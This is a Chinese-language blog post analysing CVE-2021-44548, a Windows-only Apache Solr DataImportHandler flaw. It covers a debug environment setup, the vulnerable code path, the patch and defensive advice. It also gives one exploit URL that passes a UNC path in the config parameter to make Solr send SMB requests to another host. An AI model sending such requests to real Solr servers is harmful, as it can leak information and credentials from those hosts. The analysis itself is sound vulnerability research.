记一次失败的CVE-2021-44548分析
字数 1231 2025-08-29 08:30:36
CVE-2021-44548 Apache Solr UNC路径信息泄露漏洞分析
漏洞概述
CVE-2021-44548是Apache Solr DataImportHandler组件中的一个输入验证漏洞,允许攻击者提供Windows UNC路径,导致Solr主机向网络上的另一台主机发起SMB网络请求,可能造成信息泄露。
影响版本:Apache Solr < 8.11.1(仅影响Windows系统)
漏洞原理
漏洞存在于DataImportHandler的配置加载功能中,当处理show-config命令时,如果传入的config参数以\\开头(Windows UNC路径格式),Solr会尝试访问该UNC路径,从而向指定主机发起SMB请求。
环境搭建
-
启动Solr(带调试参数):
./solr.cmd start -p 8983 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988" -
创建SolrCore:
./solr.cmd create_core -c core1 -
下载必要组件:
- mysql-connector-java-5.1.42-bin.jar
- solr-dataimporthandler-7.3.1.jar
- solr-dataimporthandler-extras-7.3.1.jar
-
修改
solrconfig.xml添加DataImportHandler配置:<requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler"> <lst name="defaults"> <str name="config">data-config.xml</str> </lst> </requestHandler> <lib dir="D:\临时\Apache_Solr\solr-8.11.0\dist/" regex="mysql-connector-java-5.1.42-bin.jar" /> <lib dir="D:\临时\Apache_Solr\solr-8.11.0\contrib/dataimporthandler/lib" regex=".*\.jar" /> <lib dir="D:\临时\Apache_Solr\solr-8.11.0\contrib/dataimporthandler-extras/lib" regex=".*\.jar" /> <lib dir="D:\临时\Apache_Solr\solr-8.11.0\dist/" regex="solr-dataimporthandler.*\.jar" />
漏洞分析
触发点
-
请求路由:
http://localhost:8983/solr/core1/dataimport?_=1640242938294&command=reload-config&indent=on&wt=json -
处理逻辑位于
DataImportHandler#handleRequestBody -
当传入
command=show-config且config参数不为空时,会调用openResource操作
关键代码路径
-
SolrResourceLoader.openResource方法:this.getInstancePath()获取路径(如D:\Apache_Solr\solr-8.11.0\server\solr\core1)- 执行
resolve("conf")变为D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf - 执行
resolve(resource)时,如果resource以\\开头,WindowsPathType变为UNC
-
resolve逻辑:- 判断
WindowsPathType是否为绝对路径或UNC路径 - 如果是则直接返回参数
- 导致
Files.exists会尝试访问UNC路径
- 判断
漏洞利用
构造如下请求触发漏洞:
http://localhost:8983/solr/core1/dataimport?command=show-config&config=\\xxx\xxx
限制与防御
-
限制:
- 只能读取SolrCore目录下的文件
- 需要开启
-Dsolr.allow.unsafe.resourceloading=true才能扩大影响
-
补丁修复:
- 添加了对
resource参数是否以\\开头的检查
- 添加了对
总结
该漏洞虽然危害有限(仅能触发SMB请求和有限的文件读取),但揭示了Solr在处理路径时的安全问题。开发者应当:
- 对所有用户输入的路径参数进行严格验证
- 避免直接使用用户输入构造文件路径
- 及时更新到安全版本(8.11.1及以上)